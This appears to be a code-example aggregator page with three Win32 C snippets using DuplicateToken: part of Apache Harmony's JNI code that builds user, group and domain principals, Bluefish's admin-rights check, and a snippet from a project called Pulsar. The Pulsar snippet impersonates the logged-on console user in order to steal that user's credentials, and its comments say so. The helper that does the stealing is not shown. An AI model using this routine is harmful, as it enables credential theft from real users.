
	jobject jobj1 = NULL;

	//
	// Get the token for the user currently running this Thread
	//
	if( !OpenThreadToken(GetCurrentThread(), TOKEN_QUERY|TOKEN_DUPLICATE, TRUE, &hUser) ) {
		// failed to open thread token. well, let's try process' one
		if( !OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY|TOKEN_DUPLICATE, &hUser) ) {
			errMsg = "Unable to obtain user token";
			goto exit;
		}
	}

	//
	// Obtain the User's info
	//
	if( NULL == (lpUserData = (TOKEN_USER*)QueryInfo(jenv, hUser, TokenUser)) ) {
		errMsg = "Unable to obtain user's token info";
		goto exit;
	}

	ptu = (TOKEN_USER*)lpUserData;

	if( !IsValidSid(ptu->User.Sid) ) {
		errMsg = "Got invalid user's SID";
		goto exit;
	}

	userSid = ptu->User.Sid;

	ConvertSidToStringSid(userSid, &lpStr0);
	lpUserSid = lpStr0;
	lpStr0 = NULL;

	//
    // step +n:  Retrieve user name and domain name basing on user's SID.
	//
	if( !GetInfo(jenv, userSid, &lpStr0, &lpStr1) ) {
		errMsg = "Unable to retrieve user's name and domain";
		goto exit;
	};

	jkl = (*jenv)->FindClass (jenv, "org/apache/harmony/auth/NTSidUserPrincipal");
	if( NULL == jkl || (*jenv)->ExceptionCheck (jenv) ) {
		errMsg = "Could not find class NTSidUserPrincipal";
		goto exit;
	}
	ctor = (*jenv)->GetMethodID (jenv, jkl, "<init>", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V");
	if( NULL == ctor || (*jenv)->ExceptionCheck (jenv) ) {
		errMsg = "Could not find ctor at NTSidUserPrincipal class";
		goto exit;
	}

	jstrSid = (*jenv)->NewStringUTF (jenv, lpUserSid);
	jstrUser = (*jenv)->NewStringUTF (jenv, lpStr0);
	jstrDomain = (*jenv)->NewStringUTF (jenv, lpStr1);
	obj = (*jenv)->NewObject (jenv, jkl, ctor, jstrSid, jstrUser, jstrDomain);
	if( (*jenv)->ExceptionCheck (jenv) ) {
		goto exit;
	}
	(*jenv)->SetObjectField (jenv, thiz, jf_user, obj);
	if( (*jenv)->ExceptionCheck (jenv) ) {
		goto exit;
	}
	
	LocalFree(lpStr0); lpStr0 = NULL;
	lpDomainName = lpStr1; 
	lpStr1 = NULL;

	//
	// Step +1: Obtain domain SID
	//
	if( !AllocateAndInitializeSid(
		&sia, 4, 
		*GetSidSubAuthority(userSid, 0), 
		*GetSidSubAuthority(userSid, 1), 
		*GetSidSubAuthority(userSid, 2),
		*GetSidSubAuthority(userSid, 3), 
		0, 0, 0, 0, 
		&domainSid)) {

		errMsg = "Unable to allocate domain SID";
		goto exit;
	}

	if( !IsValidSid(domainSid) ) {
		errMsg = "Got invalid domain SID";
		goto exit;
	}

	ConvertSidToStringSid(domainSid, &lpStr0);

	jstrDomainSid = (*jenv)->NewStringUTF (jenv, lpStr0);
	(*jenv)->SetObjectField (jenv, thiz, jf_domainSid, jstrDomainSid);
	if( (*jenv)->ExceptionCheck (jenv) ) {
		goto exit;
	}
	LocalFree(lpStr0); lpStr0 = NULL;

	//
	// step +1: get primary group sid
	//
	if( NULL == (lpGroupData = QueryInfo(jenv, hUser, TokenPrimaryGroup)) ) {
		errMsg = "Unable to get primary group";
		goto exit;
	};

	ptpg = (PTOKEN_PRIMARY_GROUP)lpGroupData;
	groupSid = ptpg->PrimaryGroup;

	if( !IsValidSid(groupSid) ) {
		errMsg = "Got invalid primary groups' SID";
		goto exit;
	}

	if( !GetInfo(jenv, groupSid, &lpStr0, &lpStr1) ) {
		errMsg = "Unable to get primary group's info";
		goto exit;
	}
	ConvertSidToStringSid(groupSid, &lpStr2);

	jklassPrimaryGroup = (*jenv)->FindClass (jenv, "org/apache/harmony/auth/NTSidPrimaryGroupPrincipal");
	if( NULL == jklassPrimaryGroup || (*jenv)->ExceptionCheck (jenv) ) {
		errMsg = "Could not find class NTSidPrimaryGroupPrincipal";
		goto exit;
	}

	ctor = (*jenv)->GetMethodID (jenv, jklassPrimaryGroup, "<init>", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V");
	if( NULL == ctor ) {
		errMsg = "Could not find appropriate ctor at NTSidPrimaryGroupPrincipal";
		goto exit;
	}

	jobj = (*jenv)->NewObject (jenv, jklassPrimaryGroup, ctor, 
		(*jenv)->NewStringUTF (jenv, lpStr2), (*jenv)->NewStringUTF (jenv, lpStr0), (*jenv)->NewStringUTF (jenv, lpStr1));

	LocalFree(lpStr0); lpStr0 = NULL;
	LocalFree(lpStr1); lpStr1 = NULL;
	LocalFree(lpStr2); lpStr2 = NULL;


	if( (*jenv)->ExceptionCheck (jenv) ) {
		goto exit;
	}
	(*jenv)->SetObjectField (jenv, thiz, jf_mainGroup, jobj);

	//
	// step +1: get groups
	//
	if( NULL== (lpAllGroupsData = QueryInfo(jenv, hUser, TokenGroups)) ) {
		errMsg = "Unable to query user's groups";
		goto exit;
	}

	ptgs = (PTOKEN_GROUPS)lpAllGroupsData;

	klassGroup = (*jenv)->FindClass (jenv, "org/apache/harmony/auth/NTSidGroupPrincipal");
	if( NULL == klassGroup || (*jenv)->ExceptionCheck (jenv) ) {
		errMsg = "Could not find NTSidGroupPrincipal";
		goto exit;
	};

	groupCtor3 = (*jenv)->GetMethodID (jenv, klassGroup, "<init>", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V");
	if( NULL == groupCtor3 || (*jenv)->ExceptionCheck (jenv) ) {
		errMsg = "Could not find appropriate ctor with 3 Strings at NTSidGroupPrincipal";
		goto exit;
	};
	groupCtor1 = (*jenv)->GetMethodID (jenv, klassGroup, "<init>", "(Ljava/lang/String;)V");
	if( NULL == groupCtor1 || (*jenv)->ExceptionCheck (jenv) ) {
		errMsg = "Could not find appropriate ctor at NTSidGroupPrincipal";
		goto exit;
	};

	// allocate an array 
	jgroups = (*jenv)->NewObjectArray (jenv, ptgs->GroupCount, klassGroup, NULL);

	if( NULL == jgroups || (*jenv)->ExceptionCheck (jenv) ) {
		errMsg = "Could not create array of NTSidGroupPrincipal";
		goto exit;
	};

	for( i=0; i<ptgs->GroupCount; i++ ) {

		ConvertSidToStringSid(ptgs->Groups[i].Sid, &lpStr2);

		if( !GetInfo(jenv, ptgs->Groups[i].Sid, &lpStr0, &lpStr1) ) {
			jobj1 = (*jenv)->NewObject (jenv, klassGroup, groupCtor1, (*jenv)->NewStringUTF (jenv, lpStr2));
			//printf("SET_FIELD: %d] Simple Group: %s\n", i, lpStr2 );
		}
		else {
			jobj1 = (*jenv)->NewObject (jenv, klassGroup, groupCtor3, 
				(*jenv)->NewStringUTF (jenv, lpStr2), (*jenv)->NewStringUTF (jenv, lpStr0), (*jenv)->NewStringUTF (jenv, lpStr1));
//			printf("SET_FIELD: %d] Group: %s@%s \n\t %s\n", i, lpStr0, lpStr1, lpStr2 );
		}
		if( NULL != lpStr0 ) { LocalFree(lpStr0); lpStr0 = NULL; }
		if( NULL != lpStr1 ) { LocalFree(lpStr1); lpStr1 = NULL; }
		if( NULL != lpStr2 ) { LocalFree(lpStr2); lpStr2 = NULL; }
		if( NULL == jobj1 || (*jenv)->ExceptionCheck (jenv) ) {
			goto exit;
		}
		(*jenv)->SetObjectArrayElement (jenv, jgroups, i, jobj1);
		if( (*jenv)->ExceptionCheck (jenv) ) {
			goto exit;
		}
	};
	(*jenv)->SetObjectField (jenv, thiz, jf_groups, jgroups);
	if( (*jenv)->ExceptionCheck (jenv) ) {
		goto exit;
	}

	//
	// step +1: get itoken
	//

	//FIXME: on NT 'SecurityImpersonation'  is not supported. 
	// Check whether we support NT - just to be sure.
	if (!DuplicateToken (hUser, SecurityImpersonation, &iToken)) {
		errMsg = "Unable to duplicate impersonation token";
		goto exit;
	};

	// printf("_SET_FIELD: iToken: %d \n", ((long)iToken) );
	(*jenv)->SetLongField (jenv, thiz, jf_token, ((jlong)iToken));
	if( (*jenv)->ExceptionCheck (jenv) ) {
		goto exit;
	}

	dwError = 0;
exit:
	dwSaveError = GetLastError();

	if( NULL != lpUserData )		LocalFree(lpUserData);
	if( NULL != lpGroupData )		LocalFree(lpGroupData);
	if( NULL != lpAllGroupsData )	LocalFree(lpAllGroupsData);
	if( NULL != lpStr0 )			LocalFree(lpStr0);
	if( NULL != lpStr1 )			LocalFree(lpStr1);
	if( NULL != lpStr2 )			LocalFree(lpStr2);
	if( NULL != lpUserSid )			LocalFree(lpUserSid);
	if( NULL != lpDomainName)		LocalFree(lpDomainName);
	//
	if( NULL != domainSid )			FreeSid(domainSid);

	if( INVALID_HANDLE_VALUE != hUser ) CloseHandle(hUser);

	if( (*jenv)->ExceptionCheck (jenv) ) {
		(*jenv)->ExceptionDescribe (jenv);
	}
	else {
		if( (0 != dwError) || (NULL!=errMsg) ) {
			if( dwError == -1 ) {
				dwError = dwSaveError;
			}
			error((LPVOID)jenv, (LPCSTR)errMsg, dwError);
		}
	}
	return;
}
コード例 #11
0
ファイル: win32utils.c プロジェクト: Shayan-To/bluefish
gboolean
isadmin_win32()
{
	BOOL bRet;
	PACL pACL;
	DWORD dwLen, dwStatus;
	PSID psidAdmin;
	HANDLE hTok, hItok;
	PRIVILEGE_SET ps;
	PSECURITY_DESCRIPTOR psdAdmin;

	GENERIC_MAPPING gmap = {ACCESS_READ, ACCESS_WRITE, 0, ACCESS_READ | ACCESS_WRITE};
	SID_IDENTIFIER_AUTHORITY SSidAuth = {SECURITY_NT_AUTHORITY};

	if (!OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE | TOKEN_QUERY, TRUE, &hTok)) {
		if (GetLastError() != ERROR_NO_TOKEN)
			return FALSE;
		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hTok))
			return FALSE;
	}

	if (!DuplicateToken(hTok, SecurityImpersonation, &hItok))
		return FALSE;

	if (!AllocateAndInitializeSid(&SSidAuth, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &psidAdmin))
		return FALSE;

	if (!(psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH)))
		return FALSE;

	if (!InitializeSecurityDescriptor(psdAdmin, SECURITY_DESCRIPTOR_REVISION))
		return FALSE;

	dwLen = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psidAdmin) - sizeof(DWORD);
	if (!(pACL = (PACL)LocalAlloc(LPTR, dwLen)))
		return FALSE;

	if (!InitializeAcl(pACL, dwLen, ACL_REVISION2))
		return FALSE;

	if (!AddAccessAllowedAce(pACL, ACL_REVISION2, ACCESS_READ | ACCESS_WRITE, psidAdmin))
		return FALSE;

	if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE))
		return FALSE;

	SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE);
	SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE);

	if (!IsValidSecurityDescriptor(psdAdmin))
		return FALSE;

	dwLen = sizeof(PRIVILEGE_SET);
	if (!AccessCheck(psdAdmin, hItok, ACCESS_READ, &gmap, &ps, &dwLen, &dwStatus, &bRet)) {
		bRet = FALSE;
		g_print("ERROR: %lu\n", GetLastError());
	}

	if (pACL) LocalFree(pACL);
 	if (psdAdmin) LocalFree(psdAdmin);
	if (psidAdmin) FreeSid(psidAdmin);
	if (hItok) CloseHandle(hItok);
	if (hTok) CloseHandle(hTok);

	return (gboolean)bRet;
}
コード例 #12
0
ファイル: watcher.cpp プロジェクト: MFtesting/Pulsar
//
// Impersonate the currently logged on user,
// and then steal that user's creds
//
VOID GetUserCreds(VOID){
	CHAR UserName[128] = {0};
	LPSTR LoggedOnUserName = NULL;
	DWORD dwUserNameLen = 128;
	HANDLE hToken= NULL;

	DBGPrint("Called\n");

	//Impersonate user
	DWORD dwSessionID = WTSGetActiveConsoleSessionId();
	if ( dwSessionID == 0xFFFFFFFF )
	{
		DBGPrint("WTSGetActiveConsoleSessionId failed. 0x%x\n", GetLastError());
		return;
	}

	//Current user
	dwUserNameLen = 128;
	if(GetUserName(UserName,&dwUserNameLen) ){
		DBGPrint("Current user is: <%s> \n",UserName);
	}

	//Get the name of the logged in user
    if(!WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE,dwSessionID,WTSUserName,&LoggedOnUserName,&dwUserNameLen ))
	{
		DBGPrint("WTSQuerySessionInformation failed. 0x%x\n",GetLastError());
		return;
	}
	DBGPrint("LoggedOnUserName. %s\n",LoggedOnUserName);


	//Get the token of the logged in user
	if ( !WTSQueryUserToken( dwSessionID, &hToken ) )
	{
		DBGPrint( "WTSQueryUserToken failed. 0x%x\n", GetLastError( ) );
		return;
	}

	// duplicate the token
	HANDLE hDuplicated = NULL;
	if ( !DuplicateToken( hToken, SecurityImpersonation, &hDuplicated ) )
	{
		DBGPrint( "DuplicateToken failed. 0x%x\n", GetLastError( ) );
		CloseHandle( hToken );
		return;
	}

	if(ImpersonateLoggedOnUser(hDuplicated) != TRUE){
		DBGPrint("ImpersonateLoggedOnUser Failed\n");
		CloseHandle( hToken);
		CloseHandle(hDuplicated);
		return;
	}


	//steal creds
	GetCredsForCurrentUser(NULL);

	//Restore user
	RevertToSelf();


	//Free duplicated token
	if( hDuplicated){
		CloseHandle( hDuplicated );
	}

	//Free original token
	if(hToken){
		CloseHandle( hToken );
	}

	//Free logged in user name
	if(LoggedOnUserName){
		WTSFreeMemory(LoggedOnUserName);
	}

	DBGPrint("Returning\n");

}